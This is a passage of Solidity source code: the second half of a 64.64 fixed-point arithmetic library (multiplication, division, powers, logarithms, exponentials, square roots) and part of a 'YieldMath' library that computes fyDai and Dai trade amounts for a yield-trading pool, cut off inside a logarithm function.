64.64 fixed point number * @param y signed 256-bit integer number * @return signed 256-bit integer number */ function muli (int128 x, int256 y) internal pure returns (int256) { if (x == MIN_64x64) { require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF && y <= 0x1000000000000000000000000000000000000000000000000); return -y << 63; } else { bool negativeResult = false; if (x < 0) { x = -x; negativeResult = true; } if (y < 0) { y = -y; // We rely on overflow behavior here negativeResult = !negativeResult; } uint256 absoluteResult = mulu (x, uint256 (y)); if (negativeResult) { require (absoluteResult <= 0x8000000000000000000000000000000000000000000000000000000000000000); return -int256 (absoluteResult); // We rely on overflow behavior here } else { require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int256 (absoluteResult); } } } /** * @dev Calculate x * y rounding down, where x is signed 64.64 fixed point number * and y is unsigned 256-bit integer number. Revert on overflow. * * @param x signed 64.64 fixed point number * @param y unsigned 256-bit integer number * @return unsigned 256-bit integer number */ function mulu (int128 x, uint256 y) internal pure returns (uint256) { if (y == 0) return 0; require (x >= 0); uint256 lo = (uint256 (x) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64; uint256 hi = uint256 (x) * (y >> 128); require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); hi <<= 64; require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo); return hi + lo; } /** * @dev Calculate x / y rounding towards zero. Revert on overflow or when y is * zero. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function div (int128 x, int128 y) internal pure returns (int128) { require (y != 0); int256 result = (int256 (x) << 64) / y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * @dev Calculate x / y rounding towards zero, where x and y are signed 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x signed 256-bit integer number * @param y signed 256-bit integer number * @return signed 64.64-bit fixed point number */ function divi (int256 x, int256 y) internal pure returns (int128) { require (y != 0); bool negativeResult = false; if (x < 0) { x = -x; // We rely on overflow behavior here negativeResult = true; } if (y < 0) { y = -y; // We rely on overflow behavior here negativeResult = !negativeResult; } uint128 absoluteResult = divuu (uint256 (x), uint256 (y)); if (negativeResult) { require (absoluteResult <= 0x80000000000000000000000000000000); return -int128 (absoluteResult); // We rely on overflow behavior here } else { require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int128 (absoluteResult); // We rely on overflow behavior here } } /** * @dev Calculate x / y rounding towards zero, where x and y are unsigned 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x unsigned 256-bit integer number * @param y unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function divu (uint256 x, uint256 y) internal pure returns (int128) { require (y != 0); uint128 result = divuu (x, y); require (result <= uint128 (MAX_64x64)); return int128 (result); } /** * @dev Calculate -x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function neg (int128 x) internal pure returns (int128) { require (x != MIN_64x64); return -x; } /** * @dev Calculate |x|. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function abs (int128 x) internal pure returns (int128) { require (x != MIN_64x64); return x < 0 ? -x : x; } /** * @dev Calculate 1 / x rounding towards zero. Revert on overflow or when x is * zero. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function inv (int128 x) internal pure returns (int128) { require (x != 0); int256 result = int256 (0x100000000000000000000000000000000) / x; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * @dev Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function avg (int128 x, int128 y) internal pure returns (int128) { return int128 ((int256 (x) + int256 (y)) >> 1); } /** * @dev Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down. * Revert on overflow or in case x * y is negative. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function gavg (int128 x, int128 y) internal pure returns (int128) { int256 m = int256 (x) * int256 (y); require (m >= 0); require (m < 0x4000000000000000000000000000000000000000000000000000000000000000); return int128 (sqrtu (uint256 (m), uint256 (x) + uint256 (y) >> 1)); } /** * @dev Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number * and y is unsigned 256-bit integer number. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y uint256 value * @return signed 64.64-bit fixed point number */ function pow (int128 x, uint256 y) internal pure returns (int128) { uint256 absoluteResult; bool negativeResult = false; if (x >= 0) { absoluteResult = powu (uint256 (x) << 63, y); } else { // We rely on overflow behavior here absoluteResult = powu (uint256 (uint128 (-x)) << 63, y); negativeResult = y & 1 > 0; } absoluteResult >>= 63; if (negativeResult) { require (absoluteResult <= 0x80000000000000000000000000000000); return -int128 (absoluteResult); // We rely on overflow behavior here } else { require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int128 (absoluteResult); // We rely on overflow behavior here } } /** * @dev Calculate sqrt (x) rounding down. Revert if x < 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function sqrt (int128 x) internal pure returns (int128) { require (x >= 0); return int128 (sqrtu (uint256 (x) << 64, 0x10000000000000000)); } /** * @dev Calculate binary logarithm of x. Revert if x <= 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function log_2 (int128 x) internal pure returns (int128) { require (x > 0); int256 msb = 0; int256 xc = x; if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; } if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore int256 result = msb - 64 << 64; uint256 ux = uint256 (x) << 127 - msb; for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) { ux *= ux; uint256 b = ux >> 255; ux >>= 127 + b; result += bit * int256 (b); } return int128 (result); } /** * @dev Calculate natural logarithm of x. Revert if x <= 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function ln (int128 x) internal pure returns (int128) { require (x > 0); return int128 ( uint256 (log_2 (x)) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128); } /** * @dev Calculate binary exponent of x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function exp_2 (int128 x) internal pure returns (int128) { require (x < 0x400000000000000000); // Overflow if (x < -0x400000000000000000) return 0; // Underflow uint256 result = 0x80000000000000000000000000000000; if (x & 0x8000000000000000 > 0) result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128; if (x & 0x4000000000000000 > 0) result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128; if (x & 0x2000000000000000 > 0) result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128; if (x & 0x1000000000000000 > 0) result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128; if (x & 0x800000000000000 > 0) result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128; if (x & 0x400000000000000 > 0) result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128; if (x & 0x200000000000000 > 0) result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128; if (x & 0x100000000000000 > 0) result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128; if (x & 0x80000000000000 > 0) result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128; if (x & 0x40000000000000 > 0) result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128; if (x & 0x20000000000000 > 0) result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128; if (x & 0x10000000000000 > 0) result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128; if (x & 0x8000000000000 > 0) result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128; if (x & 0x4000000000000 > 0) result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128; if (x & 0x2000000000000 > 0) result = result * 0x1000162E525EE054754457D5995292026 >> 128; if (x & 0x1000000000000 > 0) result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128; if (x & 0x800000000000 > 0) result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128; if (x & 0x400000000000 > 0) result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128; if (x & 0x200000000000 > 0) result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128; if (x & 0x100000000000 > 0) result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128; if (x & 0x80000000000 > 0) result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128; if (x & 0x40000000000 > 0) result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128; if (x & 0x20000000000 > 0) result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128; if (x & 0x10000000000 > 0) result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128; if (x & 0x8000000000 > 0) result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128; if (x & 0x4000000000 > 0) result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128; if (x & 0x2000000000 > 0) result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128; if (x & 0x1000000000 > 0) result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128; if (x & 0x800000000 > 0) result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128; if (x & 0x400000000 > 0) result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128; if (x & 0x200000000 > 0) result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128; if (x & 0x100000000 > 0) result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128; if (x & 0x80000000 > 0) result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128; if (x & 0x40000000 > 0) result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128; if (x & 0x20000000 > 0) result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128; if (x & 0x10000000 > 0) result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128; if (x & 0x8000000 > 0) result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128; if (x & 0x4000000 > 0) result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128; if (x & 0x2000000 > 0) result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128; if (x & 0x1000000 > 0) result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128; if (x & 0x800000 > 0) result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128; if (x & 0x400000 > 0) result = result * 0x100000000002C5C85FDF477B662B26945 >> 128; if (x & 0x200000 > 0) result = result * 0x10000000000162E42FEFA3AE53369388C >> 128; if (x & 0x100000 > 0) result = result * 0x100000000000B17217F7D1D351A389D40 >> 128; if (x & 0x80000 > 0) result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128; if (x & 0x40000 > 0) result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128; if (x & 0x20000 > 0) result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128; if (x & 0x10000 > 0) result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128; if (x & 0x8000 > 0) result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128; if (x & 0x4000 > 0) result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128; if (x & 0x2000 > 0) result = result * 0x1000000000000162E42FEFA39F02B772C >> 128; if (x & 0x1000 > 0) result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128; if (x & 0x800 > 0) result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128; if (x & 0x400 > 0) result = result * 0x100000000000002C5C85FDF473DEA871F >> 128; if (x & 0x200 > 0) result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128; if (x & 0x100 > 0) result = result * 0x100000000000000B17217F7D1CF79E949 >> 128; if (x & 0x80 > 0) result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128; if (x & 0x40 > 0) result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128; if (x & 0x20 > 0) result = result * 0x100000000000000162E42FEFA39EF366F >> 128; if (x & 0x10 > 0) result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128; if (x & 0x8 > 0) result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128; if (x & 0x4 > 0) result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128; if (x & 0x2 > 0) result = result * 0x1000000000000000162E42FEFA39EF358 >> 128; if (x & 0x1 > 0) result = result * 0x10000000000000000B17217F7D1CF79AB >> 128; result >>= 63 - (x >> 64); require (result <= uint256 (MAX_64x64)); return int128 (result); } /** * @dev Calculate natural exponent of x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function exp (int128 x) internal pure returns (int128) { require (x < 0x400000000000000000); // Overflow if (x < -0x400000000000000000) return 0; // Underflow return exp_2 ( int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128)); } /** * @dev Calculate x / y rounding towards zero, where x and y are unsigned 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x unsigned 256-bit integer number * @param y unsigned 256-bit integer number * @return unsigned 64.64-bit fixed point number */ function divuu (uint256 x, uint256 y) private pure returns (uint128) { require (y != 0); uint256 result; if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) result = (x << 64) / y; else { uint256 msb = 192; uint256 xc = x >> 192; if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1); require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); uint256 hi = result * (y >> 128); uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); uint256 xh = x >> 192; uint256 xl = x << 64; if (xl < lo) xh -= 1; xl -= lo; // We rely on overflow behavior here lo = hi << 128; if (xl < lo) xh -= 1; xl -= lo; // We rely on overflow behavior here assert (xh == hi >> 128); result += xl / y; } require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return uint128 (result); } /** * @dev Calculate x^y assuming 0^0 is 1, where x is unsigned 129.127 fixed point * number and y is unsigned 256-bit integer number. Revert on overflow. * * @param x unsigned 129.127-bit fixed point number * @param y uint256 value * @return unsigned 129.127-bit fixed point number */ function powu (uint256 x, uint256 y) private pure returns (uint256) { if (y == 0) return 0x80000000000000000000000000000000; else if (x == 0) return 0; else { int256 msb = 0; uint256 xc = x; if (xc >= 0x100000000000000000000000000000000) { xc >>= 128; msb += 128; } if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; } if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore int256 xe = msb - 127; if (xe > 0) x >>= xe; else x <<= -xe; uint256 result = 0x80000000000000000000000000000000; int256 re = 0; while (y > 0) { if (y & 1 > 0) { result = result * x; y -= 1; re += xe; if (result >= 0x8000000000000000000000000000000000000000000000000000000000000000) { result >>= 128; re += 1; } else result >>= 127; if (re < -127) return 0; // Underflow require (re < 128); // Overflow } else { x = x * x; y >>= 1; xe <<= 1; if (x >= 0x8000000000000000000000000000000000000000000000000000000000000000) { x >>= 128; xe += 1; } else x >>= 127; if (xe < -127) return 0; // Underflow require (xe < 128); // Overflow } } if (re > 0) result <<= re; else if (re < 0) result >>= -re; return result; } } /** * @dev Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer * number. * * @param x unsigned 256-bit integer number * @return unsigned 128-bit integer number */ function sqrtu (uint256 x, uint256 r) private pure returns (uint128) { if (x == 0) return 0; else { require (r > 0); while (true) { uint256 rr = x / r; if (r == rr || r + 1 == rr) return uint128 (r); else if (r == rr + 1) return uint128 (rr); r = r + rr + 1 >> 1; } } } } /** * Ethereum smart contract library implementing Yield Math model. */ library YieldMath { /** * Calculate the amount of fyDai a user would get for given amount of Dai. * * @param daiReserves Dai reserves amount * @param fyDaiReserves fyDai reserves amount * @param daiAmount Dai amount to be traded * @param timeTillMaturity time till maturity in seconds * @param k time till maturity coefficient, multiplied by 2^64 * @param g fee coefficient, multiplied by 2^64 * @return the amount of fyDai a user would get for given amount of Dai */ function fyDaiOutForDaiIn ( uint128 daiReserves, uint128 fyDaiReserves, uint128 daiAmount, uint128 timeTillMaturity, int128 k, int128 g) internal pure returns (uint128) { // t = k * timeTillMaturity int128 t = Math64x64.mul (k, Math64x64.fromUInt (timeTillMaturity)); // a = (1 - gt) int128 a = Math64x64.sub (0x10000000000000000, Math64x64.mul (g, t)); require (a > 0, "YieldMath: Too far from maturity"); // xdx = daiReserves + daiAmount uint256 xdx = uint256 (daiReserves) + uint256 (daiAmount); require (xdx < 0x100000000000000000000000000000000, "YieldMath: Too much Dai in"); uint256 sum = pow (daiReserves, uint128 (a), 0x10000000000000000) + pow (fyDaiReserves, uint128 (a), 0x10000000000000000) - pow (uint128(xdx), uint128 (a), 0x10000000000000000); require (sum < 0x100000000000000000000000000000000, "YieldMath: Insufficient fyDai reserves"); uint256 result = fyDaiReserves - pow (uint128 (sum), 0x10000000000000000, uint128 (a)); require (result < 0x100000000000000000000000000000000, "YieldMath: Rounding induced error"); result = result > 1e12 ? result - 1e12 : 0; // Substract error guard, flooring the result at zero return uint128 (result); } /** * Calculate the amount of Dai a user would get for certain amount of fyDai. * * @param daiReserves Dai reserves amount * @param fyDaiReserves fyDai reserves amount * @param fyDaiAmount fyDai amount to be traded * @param timeTillMaturity time till maturity in seconds * @param k time till maturity coefficient, multiplied by 2^64 * @param g fee coefficient, multiplied by 2^64 * @return the amount of Dai a user would get for given amount of fyDai */ function daiOutForFYDaiIn ( uint128 daiReserves, uint128 fyDaiReserves, uint128 fyDaiAmount, uint128 timeTillMaturity, int128 k, int128 g) internal pure returns (uint128) { // t = k * timeTillMaturity int128 t = Math64x64.mul (k, Math64x64.fromUInt (timeTillMaturity)); // a = (1 - gt) int128 a = Math64x64.sub (0x10000000000000000, Math64x64.mul (g, t)); require (a > 0, "YieldMath: Too far from maturity"); // ydy = fyDaiReserves + fyDaiAmount; uint256 ydy = uint256 (fyDaiReserves) + uint256 (fyDaiAmount); require (ydy < 0x100000000000000000000000000000000, "YieldMath: Too much fyDai in"); uint256 sum = pow (uint128 (daiReserves), uint128 (a), 0x10000000000000000) - pow (uint128 (ydy), uint128 (a), 0x10000000000000000) + pow (fyDaiReserves, uint128 (a), 0x10000000000000000); require (sum < 0x100000000000000000000000000000000, "YieldMath: Insufficient Dai reserves"); uint256 result = daiReserves - pow (uint128 (sum), 0x10000000000000000, uint128 (a)); require (result < 0x100000000000000000000000000000000, "YieldMath: Rounding induced error"); result = result > 1e12 ? result - 1e12 : 0; // Substract error guard, flooring the result at zero return uint128 (result); } /** * Calculate the amount of fyDai a user could sell for given amount of Dai. * * @param daiReserves Dai reserves amount * @param fyDaiReserves fyDai reserves amount * @param daiAmount Dai amount to be traded * @param timeTillMaturity time till maturity in seconds * @param k time till maturity coefficient, multiplied by 2^64 * @param g fee coefficient, multiplied by 2^64 * @return the amount of fyDai a user could sell for given amount of Dai */ function fyDaiInForDaiOut ( uint128 daiReserves, uint128 fyDaiReserves, uint128 daiAmount, uint128 timeTillMaturity, int128 k, int128 g) internal pure returns (uint128) { // t = k * timeTillMaturity int128 t = Math64x64.mul (k, Math64x64.fromUInt (timeTillMaturity)); // a = (1 - gt) int128 a = Math64x64.sub (0x10000000000000000, Math64x64.mul (g, t)); require (a > 0, "YieldMath: Too far from maturity"); // xdx = daiReserves - daiAmount uint256 xdx = uint256 (daiReserves) - uint256 (daiAmount); require (xdx < 0x100000000000000000000000000000000, "YieldMath: Too much Dai out"); uint256 sum = pow (uint128 (daiReserves), uint128 (a), 0x10000000000000000) + pow (fyDaiReserves, uint128 (a), 0x10000000000000000) - pow (uint128 (xdx), uint128 (a), 0x10000000000000000); require (sum < 0x100000000000000000000000000000000, "YieldMath: Resulting fyDai reserves too high"); uint256 result = pow (uint128 (sum), 0x10000000000000000, uint128 (a)) - fyDaiReserves; require (result < 0x100000000000000000000000000000000, "YieldMath: Rounding induced error"); result = result < type(uint128).max - 1e12 ? result + 1e12 : type(uint128).max; // Add error guard, ceiling the result at max return uint128 (result); } /** * Calculate the amount of Dai a user would have to pay for certain amount of * fyDai. * * @param daiReserves Dai reserves amount * @param fyDaiReserves fyDai reserves amount * @param fyDaiAmount fyDai amount to be traded * @param timeTillMaturity time till maturity in seconds * @param k time till maturity coefficient, multiplied by 2^64 * @param g fee coefficient, multiplied by 2^64 * @return the amount of Dai a user would have to pay for given amount of * fyDai */ function daiInForFYDaiOut ( uint128 daiReserves, uint128 fyDaiReserves, uint128 fyDaiAmount, uint128 timeTillMaturity, int128 k, int128 g) internal pure returns (uint128) { // a = (1 - g * k * timeTillMaturity) int128 a = Math64x64.sub (0x10000000000000000, Math64x64.mul (g, Math64x64.mul (k, Math64x64.fromUInt (timeTillMaturity)))); require (a > 0, "YieldMath: Too far from maturity"); // ydy = fyDaiReserves - fyDaiAmount; uint256 ydy = uint256 (fyDaiReserves) - uint256 (fyDaiAmount); require (ydy < 0x100000000000000000000000000000000, "YieldMath: Too much fyDai out"); uint256 sum = pow (daiReserves, uint128 (a), 0x10000000000000000) + pow (fyDaiReserves, uint128 (a), 0x10000000000000000) - pow (uint128 (ydy), uint128 (a), 0x10000000000000000); require (sum < 0x100000000000000000000000000000000, "YieldMath: Resulting Dai reserves too high"); uint256 result = pow (uint128 (sum), 0x10000000000000000, uint128 (a)) - daiReserves; require (result < 0x100000000000000000000000000000000, "YieldMath: Rounding induced error"); result = result < type(uint128).max - 1e12 ? result + 1e12 : type(uint128).max; // Add error guard, ceiling the result at max return uint128 (result); } /** * Raise given number x into power specified as a simple fraction y/z and then * multiply the result by the normalization factor 2^(128 * (1 - y/z)). * Revert if z is zero, or if both x and y are zeros. * * @param x number to raise into given power y/z * @param y numerator of the power to raise x into * @param z denominator of the power to raise x into * @return x raised into power y/z and then multiplied by 2^(128 * (1 - y/z)) */ function pow (uint128 x, uint128 y, uint128 z) internal pure returns (uint256) { require (z != 0); if (x == 0) { require (y != 0); return 0; } else { uint256 l = uint256 (0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - log_2 (x)) * y / z; if (l > 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) return 0; else return uint256 (pow_2 (uint128 (0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - l))); } } /** * Calculate base 2 logarithm of an unsigned 128-bit integer number. Revert * in case x is zero. * * @param x number to calculate base 2 logarithm of * @return base 2 logarithm of x, multiplied by 2^121 */ function log_2 (uint128 x) internal pure returns (uint128) { require (x != 0); uint b = x; uint l = 0xFE000000000000000000000000000000; if (b < 0x10000000000000000) {l -= 0x80000000000000000000000000000000; b <<= 64;} if (b < 0x1000000000000000000000000) {l -= 0x40000000000000000000000000000000; b <<= 32;} if (b < 0x10000000000000000000000000000) {l -= 0x20000000000000000000000000000000; b <<= 16;} if (b < 0x1000000000000000000000000000000) {l -= 0x10000000000000000000000000000000; b <<= 8;} if (b < 0x10000000000000000000000000000000) {l -= 0x8000000000000000000000000000000; b <<= 4;} if (b < 0x40000000000000000000000000000000) {l -= 0x4000000000000000000000000000000; b <<= 2;} if (b < 0x80000000000000000000000000000000) {l -= 0x2000000000000000000000000000000; b <<= 1;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x1000000000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x800000000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x400000000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x200000000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x100000000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x80000000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x40000000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x20000000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x10000000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x8000000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x4000000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x2000000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x1000000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x800000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x400000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x200000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x100000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x80000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x40000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x20000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x10000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x8000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x4000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x2000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x1000000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x800000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x400000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x200000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x100000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x80000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x40000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x20000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x10000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x8000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x4000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x2000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x1000000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x800000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x400000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x200000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x100000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x80000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x40000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x20000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x10000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x8000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x4000000000000000000;} b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x2000000000000000000;} b = b * b >> 